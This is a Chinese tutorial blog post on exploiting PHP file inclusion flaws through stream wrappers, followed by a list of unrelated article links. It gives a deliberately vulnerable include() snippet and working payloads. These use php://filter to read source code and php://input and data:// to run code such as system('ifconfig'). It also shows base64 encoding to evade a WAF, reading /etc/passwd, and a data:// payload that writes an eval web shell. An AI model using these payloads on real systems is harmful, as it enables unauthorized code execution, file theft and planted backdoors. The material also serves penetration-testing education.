文件包含漏洞结合php协议流的特性,使得漏洞利用效率更高,下面的内容主要讲解协议流的使用。

0x00 测试环境:

php版本: 5.2,5.3,5.5,7.0等
web服务: apache2
OS系统: linux

0x01 测试代码:

<?php include($_GET['filename']);?>

0x02 测试配置:

配置文件: php.ini

配置选项:

    allow_url_fopen: on        #default: on, This option enables the URL-aware fopen wrappers that enable accessing URL object like files
allow_url_include : off #default: off, This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.

allow_url_fopen 表示允许在URL形式执行fopen打开文件

allow_url_include 表示允许远程包含

0x03 开始测试:

1. php://filter 编码流

实验配置条件: 无

测试代码中,通过GET请求控制 include 函数需要包含哪些文件,如果是普通的txt文件,指定该文件就可以显示文件内容,如

filename=hello.txt

但如果是php文件,那么文件内容只会看到被php解析器解析后的结果,并不能获取源代码,如包含自己

filename=index.php

若我们想看到php的源代码,就要避免php文件内容被解析,通过php编码流可以实现base64编码,编码后解析器就无法识别了,如下

filename=php://filter/read=convert.base64-encode/resource=./index.php

此时,将其base64解码就可以看到php代码了

2. php://input 输入流

实验配置条件: 开allow_url_include

除了在URL里filename参数中指定文件作为输入流外,还可以直接从POST请求中作为输入流

php://input 表示内容从请求参数中获取。如下

filename=php://input

[post data]

<?php phpinfo();?>

这样我们就可以执行php代码了,比如一句话,或者执行system函数等等

3. file:// 文件流

实验配置条件:

这个可以读取服务器非web目录文件,当然需要有权限读取,不过不需要配置条件。使用时要写绝对路径

filename=file:///etc/passwd

4. compress.X:// 压缩流, 有两个compress.zlib  和 compress.bzlib

实验配置条件:

这个可以针对压缩文件查看和获取内容,假如我们知道压缩包在服务器的路径为: /var/test.tgz,则可以利用该流查看压缩文件

filename=compress.zlib:///var/test.tgz

5. http:// 远程文件流, 也可以远程包含文件

实验配置条件: 开url_allow_include

这里远程包含自己服务器下的一个文本文件,利用的话,可以在自己的服务器上搭建web或ftp,然后写一句话木马,远程包含

filename=http://192.168.12.136/test/hello.txt

6. data:// 数据流, 可以直接执行php代码

实验配置条件: 开url_allow_include

这个data流可以直接传入代码被解析执行,有点类似 php://input输入流

filename=data: text/plain,<pre><?php system('ifconfig')?></pre>

如果被狗过滤,可以编码发送代码,先将 <?php phpinfo()?>这段进行base64编码得到

PD9waHAgcGhwaW5mbygpPz4=

接着利用data流,发送编码数据,并且解码解析

filename=data: text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

通过data可以写一句话木马到服务器下

filename=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php @eval(\$_POST['x']);?>")?>

协议流还有很多,远远不止这样,当然上面讲解的都是渗透中常用的手段

php协议流的更多相关文章

  1. 传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确。此 RPC 请求中提供了过多的参数。最多应为 2100

    出现这个问题的背景是,判断一批激活码在系统中是否已经存在,很傻的一个作法是,把这一批激活码,以in(in (‘ddd‘,‘aaa‘))的形式来处理,导致问题的出现. 后来,查找资料,http://bb ...

  2. 转:传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确 .

    近期在做淘宝客的项目,大家都知道,淘宝的商品详细描述字符长度很大,所以就导致了今天出现了一个问题 VS的报错是这样子的  ” 传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确“ 还说某 ...

  3. SQLServer 2000 Driver for JDBC][SQLServer]传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确解决方法

    问题:[SQLServer 2000 Driver for JDBC][SQLServer]传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确.参数 1 (""): ...

  4. SQL :“传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确” 错误

    其中在DAL层调用存储过程来插入数据的参数 SqlParameter[] parameters = {                                            new S ...

  5. sqlserver2008 传入的表格格式数据流(tds)协议流不正确。

    起因是在sql 2008 里使用 sql prompt 报了一个内部连接致命错误,原本应该想到是数据库连接问题的,奇怪的是能连接上数据库也能查询表仅仅是用不了工具没有智能提示. 几经查询无果,度娘上之 ...

  6. 遭遇:“传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确” 错误

    http://www.cnblogs.com/delphinet/archive/2010/03/09/1681777.html 正在写一个类似文章的发表系统.其中记录文章内容的字段Contents设 ...

  7. java 执行sql错误 传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确。参数 1 (""): 数据类型 0x38 未知

    连接数据库时设置:Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE ,ResultSet.CONCUR_R ...

  8. RDP 协议组件 X.224 在协议流中发现一个错误并且中断了客户端连接

    如果你的服务器有如下错误: “RDP 协议组件 X.224 在协议流中发现一个错误并且中断了客户端连接.” 可能的有2种: 1:你试试能否能继续远程登陆,有可能你的远程登陆组件出现问题. 2:有人攻击 ...

  9. 今天遇到的传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确的解决方案

    传入的表格格式数据流(TDS)远程过程调用(RPC)协议流不正确.参数 3 ("@UserName"): 数据类型 0xE7 的数据长度或元数据长度无效. 今天在做数据同步的时候遇 ...

随机推荐

  1. 帆软报表(finereport)常用函数

    1. SUM SUM(number1,number2,…):求一个指定单元格区域中所有数字之和.Number1,number2,…:1到30个参数或指定单元格区域中所有数字. 注: 函数将直接键入参数 ...

  2. linux 乌班图 nginx php直接下载下来

    location ~ \.php(.*)$ { include snippets/fastcgi-php.conf; # # # With php-fpm (or other unix sockets ...

  3. javascript中Math函数的属性与方法

    math函数的属性 Math.PI:返回圆周率. math函数的方法 绝对值: Math.abs(); 对数进行上舍入: Math.ceil(); 对数进行下舍入: Math.floor(); Mat ...

  4. OpenSSL 提取 pfx 数字证书公钥与私钥

    由于之前生产环境已经使用了 Identityserver4 用来做授权与认证的服务,而新项目采用 Spring Cloud 微服务体系,一方面 Spring Cloud 官方暂时只支持 OAuth2. ...

  5. 【SQL】 MySql与SqlServer差异比较(MySql踩坑全集)

    本文主要记录将数据库从SqlServer移植到MySql的过程中,发现的各种坑爹问题.以SqlServer为主,记录MySql的差异性. 一.IF语句 首先MySql中的的IF语法不同. IF Con ...

  6. Failed to start component [StandardEngine [Catalina].StandardHost[localhost].StandardContext[/项目名]]

    问题: 最近几天在做一个小项目,今天中午本来想启动tomcat打开看看项目的,没想到项目突然无法打开,页面总是显示404 tomcat报错如下:Failed to start component [S ...

  7. [NewLife.XCode]高级增删改

    NewLife.XCode是一个有10多年历史的开源数据中间件,支持nfx/netstandard,由新生命团队(2002~2019)开发完成并维护至今,以下简称XCode. 整个系列教程会大量结合示 ...

  8. drf视图组件、认证组件

    视图组件 1.基本视图 url(r'^publish/$', views.PublishView.as_view()), url(r'^publish/(?P<pk>\d+)/$', vi ...

  9. yii2 部分很实用的代码

    检查执行的sql $query->createCommand()->getRawSql()     写日志 // 记录日志 \Yii::error('生成失败.' . $index, $t ...

  10. python田忌赛马

    一,简介 田忌赛马的故事大家都知道我就不展开说了,田忌能用同全面被碾压的马赢了齐威王(公子),我觉得这是十分具有智慧的.但是,如果说这里的条件改为:1,田忌的马比齐威王同等次的马弱一点但是比齐威王下一 ...